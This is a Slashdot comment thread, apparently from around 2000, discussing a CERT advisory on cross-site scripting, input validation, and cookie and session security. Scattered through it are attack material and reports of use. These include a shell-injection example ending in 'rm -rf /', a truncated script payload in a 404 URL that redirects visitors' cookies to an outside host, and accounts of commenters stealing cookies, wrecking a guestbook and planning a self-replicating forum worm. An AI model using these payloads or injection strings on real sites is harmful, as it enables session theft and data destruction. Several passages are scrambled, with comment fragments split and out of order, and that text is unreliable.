Verifying client input to the server has been an issue since NCSA developed CGI. As a web site programmer (not designer), you should assume that every byte coming from the client is malicious. That way, things like this do not affect you.
/", then there is some excitement.
I remember seeing example bad perl scripts that made system calls like:
system( "./db_insert $in{name}" );
or something like that, where db_insert was just some unix executable and $in{name} represents the CGI form input variable "name". If you say your name is "Bob" or something, it works fine. If you say your name is "Bob; rm -rf
The only way to be safe is to trust no one. Disable javascript, unplug your computer, and burn down your house.
Jesus may love you, but I think you're garbage wrapped in skin.
A choice of masters is not freedom
not to write secure web pages that allow html to be used. I mean, it's fine to allow html on a chat forum (like this one), but on a credit card form? I hope there aren't any real ites out there that are that unsecure.
Judge Pag, the Learned, Impartial, and Very Relaxed
Can someone confirm/check if there are safeguards (eg referrers) that stop this simple abuse of OneClickShopping?
The simplest safeguard is not clicking on links in spam e-mails. The next simplest is not to accept e-mail from addresses like 294738fe322fhwei2@hotmail.com.
YMMV
CERT must have decided that because of the inherent security flaws in tags in HTML, that they'd better deny access to the HTML versions of their advisory or someone might hax0r it. :-)
NO CARRIER
And here's an example of it actually being used:
Click here to see
Give me a break if it doesn't work, I just whipped this up in a couple minutes.
NO CARRIER
Nevermind, my fault.
My URL decoder was stripping off certain characters. I can see the user number and password clearly now.
NO CARRIER
The cookie contains a user number and your password in cleartext. Even if the change password form requires you to type your old password... it's right there in the cookie and could easily be put into a URL to change the password.
Require the user to enter their user name too? Maybe... is there any way to get the user name from the user number? At first glance, I can only see a way to pull up user information by user name, not by user number.
If there's a way to correlate user name and user number? Maybe by peeking at the page via scripting? Slashdot makes it easy and puts your username on every page. A quick parse over an innerText property would retrieve it.
So IS there a secure way to do it? Is there even a way to totally avoid users from entering URLs like this... when URL-encoding has plenty of legitamite uses?
NO CARRIER
And all this time I thought it was Donna Karen (sp?). Go figure. I always look at links before I click them. Which, conveniently, will also deal with some of the problems mentioned in the advisory: if you notice a link has a tag or something suspicious in it then don't follow it. Many security holes can be stopped by common sense.
Dammit. I hate it when the reply is funnier than my original post.
-- In the future, everyone will code Perl for 15 minutes. --
Therefore...
Why not isolate browsing? I need to do some research and try some things as this is not a strong area for me but perhaps someone has some comments/ideas on the following possibilities:
1) Create a separate user (say "surf") and only browse as that user. Give your normal user read access to that user's files but strictly limit surf's power. This would at least limit the possible damage from evil scripts. OK for a one user desktop setup but a problem for multiple users.
2) Isolate browsing to a specific user subdirectory. Any ideas on how practical this would be? I am guessing that one would have to set up a different user with permissions only to that subdir and browse as that user. Or, could chroot be used to limit the browser's access or would that block too many library/system calls?
3) Create a /surf/ tree with the browser software and /surf/user directories. Only allow browser access to the surf tree (even chroot?). Each user would have a subdirectory with appropriate permissions for their browser files (saved files, .browsersetup, etc.). A link from the normal home directory to the /surf/user directory could make this fairly transparent to the end user.
Any other ideas? We should be able to beat this problem at least in the *nix world by limiting the power of the browser.
My Microsoft Internet browser protects me from bad things like this. I don't think Microsoft would be such a successful company if the allowed hackers to hurt their users. There are a lot of really smart people at Microsoft and I'm sure they have fixed any problem that might happen because of this.
P.S. I also practice safe computing as Microsoft has told me, it is important to avoid "bad internet zones"!
Get it as part of your distribution (the bsd port is "ijb"), or at www.junkbuster.com.
It works wonderfully. I rarely see blinkies anymore, and there are only two sites than can give me cookies, and a third that can retrieve one that it can't change.
When Mozilla becomes a usable browser, this argument becomes valid. Not that I expect this to happen next N years, N>=1.
-- Si hoc legere scis nimium eruditionis habes.
That's what passes nowdays for a new hole? I, far from being security expert, wrote patches for guestbooks on this subject about 3 years ago. It's just obvious you should think about this. Isn't this why I see "allowed HTML" here below?
Now just what we lack is somebody patenting idea of fixing this "new hole"...
-- Si hoc legere scis nimium eruditionis habes.
The engineering circle has had years to do something about this crap. They didn't. Browser makers could have shipping their browsers with all client-side execution "features" disabled by default, all along. They didn't. They could have put up a warning popup that tries to scare the user whenever they turn on this stuff. They didn't. Who are you calling irresponsible?
As an engineer I can say that this isn't always the case. You work to see most of the gotchas of doing something a certain way and even <i>with</i> peer review and countless trials, you can't forsee every consequence.
Turning everything off by default makes your product harder to use, so you lose customers and therefore sales. (with browsers being free this blurs the line but the effect is the same)
Making screens popup all the time is annoying to the customer. There are lines to be drawn all over the place. Often they get drawn wrong, but that's often the fault of management, not the guys who actually do it. He who writes your paycheck gets final say. Not everyone is fortunate (or wealthy) enough to walk whenever they can't agree with management on all issues.
I therefore expect the following advisories to be put out:
2001: The tags added in response to the CERT Advisory on Malicious HTML Tags can be exploited by embedding HXDHTML (Hyper eXtended Dynamic HTML) that can run arbritary code and a coffee maker over a supposedly secure link.
2002: The tags added in response to the CERT Advisory relating to the CERT Advisory on Malicious HTML Tags can be exploited by embedding sections of Bill Gate's brain, which can execute random fragments of assembly that can result in a Denial of Service attack.
2003: The tags added in response to the CERT Advisory relating to the CERT Advisory relating to the CERT Advisory on Malicious HTML Tags can be exploited by a child of 3 just by sneezing. NOW WILL YOU STOP ADDING THESE B***** TAGS AND SECURE YOUR PROGRAMS!
It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
Yes, that would be correct. I was at work and not thinking right. This shows something though, it's actually REALLY hard to type messages like that because of the < that you have to type to have it show < and don't even get me started on quoting.
My Slashdot account is old enough to drink...
Disable JavaScript. :) Couldn't be easier...
I could not justify my existence if I were a turkey farmer. Would I terminate myself? Undoubtably, yes.
Well, the issue then boils down to who has the right to execute scripts. OK, it might sounds a little strange (and I'm not sure my explanation will clear up things either), so let me try to explain...
;-)
If I have my homepage somewhere in the other-hosts-it-for-me world (say Xoom, or AOL for that matter), and they suddenly decide that "JavaScript is a security risk". They simply modify their server to turn off all JavaScript, and BOOM! My JavaScript breaks, and I have no way to get around it. Are they allowed to do this? Probably, yes. Should we try to stop it? Yes!
Anyway, the system you're proposing doesn't fit well into HTML. A tag should be composed of a start-tag and an end-tag, not two empty tags with different attributes. Of course, having a `normal' HTML tag would again lead to security problems. I think the best way to solve this problem is parsing the HTML, and allowing only the tags one wants (like Slashdot does -- I'm sure some useful code could be extracted out of slash 0.9).
/* Steinar */
(This comment is of course GPLed.)
No, it's not down -- the advisory itself is just so secure, we can't get to it. (I get a 403.)
/* Steinar */
(This comment is of course GPLed.)
When writing CGI programs with Perl and CGI.pm I use a wrapper for getting URL parameters which will check them to ensure they contain only the characters [a-zA-Z0-9_]. It's not necessary most of the time, but it does help protect against new attacks that might be discovered, like this one.
In my opinion, strings passed as URL parameters should be human-readable so that the URL makes some sense; if you're passing long chunks of data such as HTML, it's better to do that with a POST request, which you should also validate thoroughly. So it's no great hardship to insist that HTML tags, hidden null bytes and so on aren't allowed in URLs.
-- Ed Avis ed@membled.com
I thought people knew this stuff. At least slashdot seems to get it right.
-jwb
through. Now, when I tried it, slashdot didn't accept it, but that is another issue.
Some browsers (especially IE) allow lots of attributes to lots of tags that you wouldn't normally think of as dangerous.
It is very true that not all webservers are impacted by this issue.
However, just because a company had not released information about their problems doesn't mean they don't have them. In Roxen's case, it has obvious issues, at least with the 404 page on the server at http://www.roxen.com/
The purpose of this post isn't to point at vendors and laugh, but to drive home the point that far more things are vulnerable than you may think. Apache, IIS, Netscape Enterprise (or whatever it is called now), Zeus, thttpd, WebSitePro... that should cover a majority of sites. Some are less vulnerable (Apache), some more (no names).
It is also important to remember that the webserver itself is only the smallest part of the issue. If the problem could be fixed by just patching your webserver, it would be nowhere near as big of an issue.
Yes, in theory.
For some of us, our strengths lie not in writing code, but in identifying valuable features and usable interfaces.
Those that ignore such talented (albeit different) voices are doomed to live in a world where the majority settles for crap (like windows) because it is at least usuable, even if it isn't elegant or efficient from a technical point of view.
Stupid people will be persecuted to the fullest extent allowed by law.
I didn't say I (or anyone else) couldn't write code; I said that our strengths lay elsewhere. You must be a true newbie if you've never run across someone who really just wasn't such a great programmer, no matter how hard they tried, or how much they studied.
And of course, when you want to see a movie, you go film/act/direct/produce it yourself. And you do all your own cooking (you never eat in restaurants since you've yet to find someone who can cook as well as you do.) You don't bother to play any video games other than the ones you developed, since you're the best game designer there is. You write your own novels, too. Naturally, you do all your own auto repairs, and home repairs, and you take your own trash to the dump, and you only listen to music you've written/performed/recorded.
My, my, aren't we the Heinleinesque ideal?
Well, not me personally, but yes, there are those whose strengths lie in managing projects. They know how to motivate people, and can effectively run interference between the people that do the work and those whose job it is to prevent them (upper management). Generally, they aren't what would be called a geek, but the better ones (in the high-tech industries, anyway) are at least technologically aware.
But of course, you're the ultimate superman, doing everything yourself because your the best person for every job.
As for me, personally, I've been told that I'm really good at designing usable interfaces and explaining things to the non-technical. So I've done some teaching, a fair bit of tech support, a lot of specs, and quite a bit of coding. (Mind you, I wouldn't bet I was coding before you were born, but it wouldn't surprise me.)
Thanks, but no thanks. I'm currently working way too much, and have a ton of projects of my own, ranging from writing documentation, to rewriting a couple of systems in Java, to finishing a number of web sites, to getting the stupid computer in the bedroom to see the network again, after swapping ethernet cards.
But sure, e-mail me with your list of projects. If any of them have merit, and I can find the time, I'll work on them, and make the money from them. I'm not too proud to think that others may have good ideas (perhaps even better than my own) and put them to use.
Which leads me to the point I made originally (and that you missed) -- when someone offers a suggestion in an area that is not your area of expertise, take advantage of it.
Stupid people will be persecuted to the fullest extent allowed by law.
I've been developing stuff for this database package at work for about a year now. It's purely internal. I use this issue to pull off cute stuff in comments fields, like bulleted lists, font colours, bold, etc - just like /. - but I know it's capable of much more. When we make info public we're unfortunately going to have to disallow data entry because of this flaw, or we're going to have to upgrade to another version of the software (and I'm going to have to spend 6 months in hell whacking into brand new problems... )
BTW: Anyone know if the UBB filters this stuff?
When Mozilla becomes a useable browser, this argument becomes valid. Not that I expect this to happen next N years. >>-1.
Others may have a different opinion.
(This comment posted with Mozilla M14 nightly build)
Life's a bitch but somebody's gotta do it.
This just basically points out a basic security flaw in the entire web programming model. As far as I know exploits that take advantage of the vunerabilities described in the advisor have been around for quite some time.
It is entirely up to the web site to validate the data entry of its users. Unfortunately you cannot trust every web site you use to catch every possible exploit. If you are worried about it, disable JavaScript/VBScript.
To fix this problem would require some enforced CGI-coding standards or certification programs for web sites - "We use only Web-Guard 2.0 certified server side scripting tools to keep you safe from script kiddies!"
-josh
There's no reason why anyone should be remotely alarmed by this. If you have any decent security in your website, then you filter everything between code here(-- did they appear?). As for adding that crap to a link, anyone who knows what a QUERY_STRING is, knows that this can be done. So in all reality, there's nothing remotely alarming here. If there were good browser security on the client side to begin with, then this wouldn't be an issue at all.
Actually, that isn't too hard, on either Linux or Windows 9x (haven't tried it on NT or 2000). Under Linux, pop open your /etc/hosts file and make an entry for each site at 127.0.0.1. All those requests will get sent right back to you, at which point they die the death.
Same thing under Windows, except the file is C:\Windows\hosts. (There's a sample file located at C:\Windows\hosts.sam. Rename it to get it to work).
If you're using Internet Explorer, you can use custom "security zones" to assign arbitrary permissions to pages. I don't think you can use it to block a site entirely, but you can disable cookies, java, javascript, activeX, yada yada.
Finally, any proxy server or firewall worth its salt will allow you to restrict access to certain web sites.
"This one really took me by surprise as a web developer."
:-)
Not much of a web developer are you?
I knew someone would have that reaction.
let me clarify: I build web sites. I design pages, write HTML and do wonderful things like that. I don't build databases, enact security measures, or enable filtering or processing of form input. I'm not at all involved in developing the format of URLs or the formats in which we accept data. I build web sites, not networks or security protocols.
That said, as a "web developer", I'm perfectly aware of what CERT says:
When client-to-client communications are mediated by a server, site developers explicitly recognize that data input is untrustworthy when it is presented to other users. Most discussion group servers either will not accept such input or will encode/filter it before sending anything to other readers.
And I doubt, as they do, that many people do no processing whatsoever on public data. the issue at hand is what happens to private data, which CERT seems to think (and I tend to agree with them) not so many developers get concerned about.
I can certainly think of situations (like, say, a free web hosting service or web-based email) where having HTML more complex than bold, italic, etc would be desired as input.
Recursive: Adj. See Recursive.
Nitpicks aside, you're right. Most people have been handling crap like that since Netscape thought up <BLINK>
> Following CERT's recommendations amounts to disabling a vast part of the web's functionality entirely
Yeah...disables exactly the parts I want disabled, which is why I turned off Javascript about a year before the CERT advisory.
--
It's October 6th. Where's W2K? Over the horizon again, eh?
Sheesh, evil *and* a jerk. -- Jade
Sure, telling lynx to represent itself as a browser capable of keen graphics effects, or telling Netscape 3 to identify itself as something capable of DHTML, etc, is silly, and you deserve the messy page you get. But, telling a browser to identify itself as any other browser, and to behave like it if possible, makes sense. I can do it, with Junkbuster, if I wish, but I usually leave it transparent, because any IE only page isn't a page I'll ever visit.
You could have a IE5 filter on Mozilla that would take a page and render it like IE5, complete with whatever bugs. That would be funky. And add filters for all main browsers, so a web designer could check behavior in many browsers without having them all installed.
How would that be hard? Just get the browser to substitute their ActiveX control for a similar one set to return a random number. It might also be possible to trap these opcodes, so that a system util could return any specified number to any program which asked, unless that program was run at OS level (which not much is, ideally.)
Anyways, you control your machine and the software on it, spoofing an ID number isn't hard.
You could do it by trapping the ID check request.
You could do it by subverting the applet that checks.
You could do it by watching outgoing packets to the intel site and replacing the ID with a fake one.
etc.
Perhaps this would work best as a browser addon, where you (for instance) install Junkbuster the pluggin, and it modifies a few browser menus and displays, and does this. The browser could pass all request, incoming html, etc, through specific filters, so any program that wanted could fit as a filter, saving you from having to install a proxy for what is really just a filtering job.
You're right, of course, that this is a weakness of JavaScript, not SlashDot. And that it's similar to a plain link to a malicious site. But there are a couple of other factors:
1. If a malicious link were posted on your site, I would be able to take some kind of action against you.
2. I may have told my browser to "trust" slashdot, but not your site.
This really depends on a number of points
a) Coding skill
b) The time you have
c) Whether or not you can get a working copy of Moz to compile on your machine - I've never managed it and I've been trying regularly since March 99
Simply, the proposal is this. The server itself should *optionally* scan for and block any potentially malicious code in GET or POST requests, before they're passed to the handler. Yes, this would eliminate a large number of potentially useful uses of scripting, but a server administrator who had turned on this option would know that the site was secured against such attacks, rather than the security being up to *every* cgi script on the machine.
There could even be several levels of such scanning, for instance blocking all html tags in client requests, or only a subset of such tags, or no blocking.
Admittedly this isn't an ideal solution, but personally, for the sites I run, I'd love to be able to turn on this option which would block all tags. I could still get a customer's name and billing info without needing any HTML tags in the input. Yes, I'd be working under a more limited subset of the possible functionality, but the added security would be worth it, and that choice should be available as a configuration option.
Even if /. filtered that out of the link, you could still do it on the other side of a plain HTML link.
/. could protect you from running arbitrary Javascript if you click on a link, except preventing posters from linking to arbitrary locations.
/. works just fine with Javascript off, it's you can defend against it just fine by turning Javascript off while surfing /.
/. but an inherent weakness of Javascript-enabled browsers.
There is no way
However, since
I don't think this is a weakness of
How about this one
+&x
Sorry, I didn't mean for my post to come across as "my server is better than your server" - I was just pointing out the error is assuming that because the "big three" were listed as vulnerable, that all webserver are vulnerable. And yes, I agree that just because someone doesn't respond that they're not vulnerable - but the CERT document doesn't say that Roxen WAS contacted (in fact, it doesn't say anything about them at all.) Now, I may have an incomplete understanding of the problem, but it seems to stem from websites allowing people to post HTML tags in guestbooks and such.. so if the webserver strips out all HTML tags, how does "a simple server patch" not solve the problem? As I said, if the server by default dequotes all HTML (and RXML, and MySQL) tags, how can you say that the server is still affected?
I tried this out (with my own CGI targeted) and by golly it works -- it steals my slashdot cookie and puts it in the log.
I tried this out with some other sites I have cookies in and the script doesn't execute.
Any references on how this peculiar URL syntax works so I can figure why if I replace "www.slashdto.org/notthere" with "mydomain.com/notthere" it doesn't redirect?
Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
Does it really?
It shouldn't work; if it does, this would be really bad.
The script doesn't get executed until the 404 page is sent back from the slashdot server with the offending URL mis-encoded (The <script> string shouldn't become a script tag, it should become <script>
Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
Gotcha. I was initially stymied by the fact that the "URL" wasn't a valid w3c URL; now I see that the server as to cooperate in sending the offending script back to the user.
I've been testing this out on my freethreads based discussion group with embedded HTML turned on. Using your example as a starting point I have successfully stolen some of my users' cookies using this method. Certainly the method could readily be improved (if you can call it that) by making it stealthier, but I've proven that I could in principle be affected by embedded scripts.
You have to fuss a bit so that the forms processing stuff doesn't insert tags into the script (like <BR>). Since the 404 page is properly encoded on my server, I probably an get by with turning off HTML (freethreads has its own simplified "markup" language which is still a problem as far as links are concerned).
So, I'm wondering. The scenario I've set up allows a malicious user who has access to my site to steal cookies from other valid users of my site. Since I don't have the 404 encoding problem, is there a way that users could have their cookies from my site stolen while viewing content on a third party server? Thus far it seems that the exploit requires that the browser get the malicious script sent back to it by the targeted (e.g. my) server.
Thus far, it looks like the extent of exposure of my site's protected contents is to people who have the ability to upload HTML tags onto it. Not a good thing, but not too bad either. Do you think this is right?
Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
You're right, it was down right irresponsible of CERT to put security ahead of making mouseovers work. What's worse, those mouseovers represent "a vast part of the web's functionality." And now we don't have them. Thanks a lot CERT!
</SARCASM>
How about:
* Thanks a lot, sloppy CGI coders, for failing to validate and filter *all* input!
* Thanks a lot browser vendors, for failing to allow people choice in their browsing. Heaven forbid that I be allowed to choose which JavaScript executes on my broweser -- it's either all or none!
Hey everyone - follow this link!
I tried to get it working on the new-user sign up page (where you might actually get someone's password), but the html is parsed out there (good work).
http://net.bruno.net/ (only malicious for the mind)
Perfecto Technologies has a really good solution to this problem with their App Sheild. It checks forms on the way out and then checks the data coming back to make sure it fits what it expected. I've seen this done as a home grown solution at a Euro telco and it seems to work very well.
The problem with this is that a lot of links these days are really (hundreds of characters sometimes) long, the browsers I know display the target left-justified, so I often can't see whole link without doing some painful stuff.
Plus, I might have a good idea what to look for, but the vast majority of folks wouldn't know a scriptlet from a rubber duck. How does this sort of advice help my parents? A ten minute talk about 'trust' will do a lot more for them.
EZ
-'Press Ctrl-Alt-Del to log in..'
"Oops, I always forget the purpose of competition is to divide people into winners and losers." - Hobbes
Imagine the damage that CNN troll could do with this.
I'm using IE (at work). The command "returntrue" is an error. Are the spaces getting stripped or something?
You could write a /. troll virus! It would post it's self as a link which submited a post contining it's self as a link when you clicked on the link. Would be very nasty. Lucky most of the /. trolls seem to have a sence of nobility and post silly stories instead of nasty things.
/. by having the submit button investigate things that web browsers interpret diffrently (and not just HTML tags). I just hope Rob sees my warning about the possbility of a /. troll virus.
/. to refuse posts which are submitted using the GET method.
Also, it will not be to hard for Rob and eam to fix this hole in
Jeff
BTW> You would need javascript to make a troll virus with an unlimited life span, but you would not need javascript to make a troll virus which only lived for a limited number of reproductions, so it might also be a good idea for
The Christian religion has been and still is the principal enemy of moral progress in the world. -- Bertrand Russell
Please correct me if I'm wrong, but please understand the advisory first! (Too many of the comments here have shown a lack of understanding, assuming it was the "protect user B from user A" issue.)
No Laughing Allowed!
I don't know exactly how Amazon's one-click works, but I'm pretty sure it can't have the problem you are describing. When you turn on Amazon's one-click, they give you a cookie to identify you. When you have this cookie, you get the one-click link on all of their product pages. When you click on the one-click link, the server processes the link and also can check to see that you have the cookie and that the identities match. So you could send the one-click link to someone else, but if they clicked on it, they wouldn't have the cookie identifying themselves as you.
And even if someone was trying to be malicious and somehow sniffed your traffic and got the cookie amazon gave you when you turned on one-click and somehow put it in their own browser, and then in their browser when to your URL to one-click buy something, they wouldn't get the product for themselves. They would just be buying the product for you with your credit card since the shipping address and billing info is associated with the one click. And it's possible Amazon has some other security measures that even make that scenario impossible.
Oh, and referres can be faked, so they are hardly security precautions. But it's possible they do something like send something in plaintext and encrypted and then decrypt the ciphertext and make sure it matches the plaintext.
Click Here
Well, I did this to kill whitepower.com's guestbook like, a year or 2 ago.
:)
Again, I think that this kind of problem indicates that the web programmers are totally amature. I mean, you DO NOT TRUST THE USER. heh if you do, you're just asking for trouble. I'm not saying that I'm a good programmer or a very experienced one - its just common sense.
The most obvious and common screw up of this sort, is when someone tries to include some html tags in a dynamic post - like and they forget to close it - you see it all the time - the rest of the page starts blinking. The best way that I've found to fix this, is replace all tags with > and < and then specifically re-enable particular tags like
and and check that there are closing tags. That way you get fewer problems.
But again, I think that there needs to be some kind of checklist of key points to remmeber and check when developing apps - simple stuff like, "dont ever interpret code that a user could have a part in creating" or "dont trust the user to get it right" "dont trust that the user is friendly" stuff like that - and as i said im not very experienced, so im sure that there are a lot more helpful points that someone could supply.
CERT seems to be stating the obvious here. And I'm glad. People need this rammed into their heads: if you want security, separate CODE and DATA. Once these are separated, you can begin to selectively allow trusted places to include code with the data.
I have selective way of enabling Javascript for trusted sites in Opera or Netscape, but Mozilla could add this much needed feature -- allowing me to run without Javascript, unless it's needed for something. Security is increased in this way.
Netscape's horrible 4.x browser seems to require Javascript for CSS to work at all, though, so you have to settle for disabling Java, and forcing it to use a Junkbuster proxy (nukes cookies except for the exceptions), and another for script escaping.
Web boards, AFAIK, espcape all content by default. This is fine, as escaped content comes out as visible data, and not as possible malicous code. The various exploits only seem to affect sloppyily programmed webboards (ie: not Phorum, it's secure).
Maybe someday we'll be allowed one click "trust for js" "trust for cookies" "trust for java" etc... As they are all executable code or, in the case of cookies, serial numbers allowing tracking (think doubleclick.net). CSS1 and HTML4 are perfectly secure by themselves -- remember that. Opera runs fine in "HTML & CSS only" mode.
---
--
Internet Explorer (n): Another bug -- that is, a feature that can't be turned off -- in Windows.
Actually, at work I'm "lucky" enough to be behind a proxy server. I set IE to not use a proxy for doubleclick addresses. I see many fewer ads that way.
IE5 is getting there, if you look under [Tools Internet Options] -> [Security] -> [Custom Level] -> [Microsof VM] -> [Custom] -> [Java Custom Settings]
Then there's some pretty funky stuff you can do with twiddling what java can and can not do. Can't do everything you want *yet*.
However, you can always write IE5 plugins to intercept and override the popups and stuff.
Slightly off topic (but here it goes anyway).
:|) and it demonstrated some pretty awesome stuff you could do with client side.
:/).
I've noticed quite a few posts saying that client side is all bad etc etc. Well, I was just reading an msdn mag article today (yes microsoft
Essentially, what it was doing was a client side web app inside IE would query a SQL server over the internet (SQL Server supports queries over HTTP now) and request SQL to send the result as XML. What it queried was vector data for New York city. It would then transform this XML data returned by SQL Server using XSL into VML, then use IE5's VML capabilities to render the VML on the page, and voila, a nice map of new york, all generated DYNAMICALLY over the internet, and just about all client side. The only thing the server had to do was send the database records over as XML (all inbuilt into SQL & IIS).
Sounds a bit like a sales pitch I know, but if that's not COOOOOOL, I don't know what is. It's certainly one of the most impressive demonstrations of SQL+IIS+XML+IE5 together. Microsoft thru all it's flaws can certainly grab onto a technology (like HTML/XML/HTTP, and the Internet) and integrate it into all their products pretty consistantly.
This kind of stuff is the stuff that makes me droool, and really is being used on LANs out there now days, it's a bit too 'new' to be used live on the internet (considering how far behind netscape is
If you want to check it out, here's the URL to the article and source.
Here
The requested URL
On the other hand, if you leave the link as originally posted, slashdot.org returns the following 404 page:
The requested URL (notthere<SCRIPT>document.location='http://al
Thus, it seems that Slashdot's 404 reporting method does not do the same filtering as Amazon.com's 404 reporting method. Slashdot needs to fix this exploit immediately since this seems to be clearly the most dangerous threat to one's cookies. Also, while Slashdot filtered out SCRIPT when it was enclosed inside less than and greater than symbols, it didn't properly filter out the tag when it was enclosed by ampersand lt and ampersand gt. Shouldn't Slashdot filter out both versions of the tag?
Sig goes here
MHO, most of this problem could be solved by having smarter browsers. Granted, it is a difficult problem, but what is this about ActiveX controls allowing you to reformat a hard drive!? That is utterly ridiculous. I can't believe that any browser manufacturer would even consider allowing this kind of access to the underlying OS (and I actually _like_ IE).
This idea seems to have one very major flaw. If your solution is to make a smarter web browser, you'd also have to make sure that everyone used said web browser. As was the point issued by the man whose post you replied to, you cannot trust the end-user. He may be using the latest "safe" version of netscape, or he may download the code with wget, and then telnet into port 80 and issue the malicious request in this manner.
In short, client software should never be held responsible for server inadequacy.
--
If there is a God, you are an authorized representative. - Kurt Vonnegut Jr.
I think it can be summoned up like this:
Never use any unvalidated free text entered by a user!!!
How many of you has tried entering a "%" in a search field? (making a badly designed script do a free text search through the whole database returning *everything*)
All opinions are my own - until criticized
Yeah, so? That has been good advice ever since the client-side scripting stuff started to show up.
Sorry, some scripting is good. See below
Javascript is useful for two purposes (flashiness aside)
1) Validating webforms. Checking some input before the user submits (in both senses) saves a lot of frustration. Sure you can (and must) do a server side check, but waiting for a new page to download, simply to tell me that i forgot a compulsory field is a pain in the behind. Plus it takes some load off my server.
2) User friendliness. Now don't go. Call it "Luser friendliness" if you like to insult your customers, but the fact is that an URL does not mean much to the average Joe. You and I might be able to guess something about a link by looking at that url in the status bar. Joe User *can't*. When designing a good web UI, the main problem is how hard it is to provide instant feedback on a web page. You don't want to reload a page, simply to provide extra information about a link.
Browser makers could have shipping their browsers with all client-side execution "features" disabled by default, all along.
No, they could have made sure that client side scripts were "safe". Not accessing cookies with Javascript or allowing object.create in ActiveX for example. The main trouble here is that "Malicious code" actually can be malicious.
All opinions are my own - until criticized
A final thought would be: "Don't shoot the messenger"
.
There is no need to store the password in cookies. When I build a website (in PHP) I always keep sensitive information in session variables at the server. The only thing stored in a cookie is the session ID.
:-(. Anyway, if slashdot would use sessions there would be no need to store passwords in cookies. Also, the way it is now, the password is sent across the wire (in CLEAR text) at every page request. This is very bad.
One could even argue with that because I've heard of bad proxies caching cookies
To see a real nice solution to this check out PHPLIB. It uses a challenge/response type authentication and sessions. The challenge/response requires Javascript (:-) to generate the MD5 hash of the password together with the challenge so it is never transmitted across the wire in cleartext.
No, this isn't new. My belief is that clued admins will continue to thoroughly test things, while the clueless will not change either. See, if everyone
actually did what they really should Re: security, then there would be no
need for this advisory...but they don't. I suppose it's sort of like Public
Service Announcements; most of the time, it's the same message over and over,
because:
a) There is fresh blood, who may not know where to look.
b) There are lots of morons who never bothered to fix it the last time
something like this went out.
Also, some people believe that they are being security-conscious, but they are
_still_ following the model of "make sure no invalid data is accepted", instead
of "make sure all accepted data is valid". If you say "I want to block this
list of stuff", then you will probably miss something. If, however, you
instead say "I will only allow this list of stuff", it's far easier to get
it right.
WMBC freeform/independent online radio.
The nice thing is the stupidity and kowtowing to big money interests practiced by the biggies (AOL/Netscape and M$) creates a niche for alternative browsers that do things like filter banner ads, disable portions of javascript, and don't have annoying "Shop" buttons and bookmarks to their partners that you cannot remove. Navigator and IE will never have banner ad filtering.
In Navigator you can stop animations once the page is loaded, using the ESC key.
Dr. Burris T. Ewell
needless to say, a lot of folks who don't pay attention to status bars and address bars could fall prey. . .
If you have eyes that can keep up with the ever-so-quickly changing text. Some of these scroll by so fast it's just a blur.
The only way we can reliably fix this hole is for all of us running servers to remove trust of clients -- we can't depend on clients to disable scripting or cookies.
Oh how true this is. and how ugly. As you stated there is no quick fix for this, it is built in to the basic architecture.
Never knock on Death's door:
More race stuff in one place,
than any one place on the net.
With PHP session storage is file-based so you could share the same session directory between multiple servers.
Hmmm, file-based session variables might work, but it seems like it would really slow things down. The reason to use load-balancing is to speed things up.
But I'll admit I have never tried it personally.
Cookies lasting longer that sessions is Ok if you're the only one using the client computer but in settings like a public Internet facility you don't want that sort of stuff.
Most sites that do store persistent cookies will advise that you "log out" when you're done. But you're right, that is another disadvantage of cookies that I didn't list.
Storing only the username in a cookie is VERY dangerous! This way an attacker could forge a cookie with only a username and gain access
This is possible, sure. I was thinking of sites like Slashdot where the reward for such forgery would be minimal.
The problem I had in mind was that people use the same passwords on many different sites, so while forging someone's slashdot account is not a huge deal, stealing their slashdot password might be.
I've never heard of any web development guides which recommend against using session variables. Please point me to them, I'm very interested.
I don't know of any on-line guides that are relevant here (large-site design). The MCSD+I training materials do make this recommendation, if you put any stock in that. (I'm not an MCSD (thank God), but the guy across the hall is.)
--Kirk
CERT actually recommends in their notice that users disable all scripting in their browsers!
And I've been doing it for years. Some (few) sites are unusable. I either do not use them (often) or turn Javascript on, use them, and turn it back off. My bank's web banking site is one of the few where I will actually go to the trouble of turning on JS just to use it and even then I don't do it often because it is a hassle.
Frankly, the web isn't much different without scripting.
Anomalous: inconsistent with or deviating from what is usual, normal, or expected
Anomalous: deviating from what is usual, normal, or expected
Canard: a false or unfounded repor
move your mouse over this
This is not a new discovery, in fact, we released an advisory about it in December of 1998. The advisory can be found here: http://www.caughq.org/files/pub/A dvisories/000005. This advisory was sent at the time of release to Yahoo, who promptly fixed their search engine, and was also sent to the BugTraq mailing list where it was promptly denied posting because "This isn't a hack." This has been around for quite a long time, I guess it just takes a CERT advisory to make people take notice.
Why is it doing this!!! How does it know my Visa number!!! Damn you cmdr taco!!!
Another important option: no changing status bar messages. By using an ONMOUSEOVER event to change the status bar message, you can make it look like a link is harmless. The status bar may show "http://www.slashdot.org/" when the real link is "javascript:evilcode".
Does not engaging in promiscuous browsing mean that I can't use Dug Song's Webspy program? Or does it mean that I should just stop looking at all this pr0n? I'm so confused.
--
Why can't I moderate something "Wrong" or at least "Grossly Misinformed"?
There are issues here that have not been widely known before. The issues that have been known for a long time are that if user A submits content for user B to view, it has to be properly encoded. This advisory shows that even if user A submits content that only user A views, it can still pose a security problem. Even worse, encoding things properly is a very difficult task, especially when alternate character sets are concerned.
Many many many sites are vulnerable to this. yahoo, ebay, various Microsoft sites, amazon, etc. The list goes on. Slashdot is vulnerable.
I like to think I know what I'm doing around the web, and I certainly had trouble figuring out all the ins and outs of how things have to be encoded in particular situations. I still don't think they are all figured out.
The real issues here are a lot more subtle than they may appear at first. While the basic components of the issue aren't anything new, and no one familiar with the technologies should be suprised to hear that this issue exists (even without being aware of the details beforehand), they have never been publicly put together in this manner.
Also note that this isn't just about script tags; you can insert other HTML that can be just as dangerous.
Try Bookmarkets.com, because believe it or not, this has all been done before and it's actully pretty useful.
Note-- Javascript laden links ahead: (None are malicious)
You can do things like this executive dice roller.
Or, read your cookie that was set for this site. How about seeing when this page was last modified?
See a word over 2 syllables you don't know on Slashdot? Search at Dictionary.com.
Do a reverse lookup on someone's phone number.
Has anyone rolled an app/applet that makes it easier to toggle Jscript?
[I'd also love to have another utility to clear my Win Documents menu.]
Basically, check the link before you click it. Look for any sign of an ebmedded evil script in the ?variable=badstuff.
Of course, if the method is post, you really can't see it then.
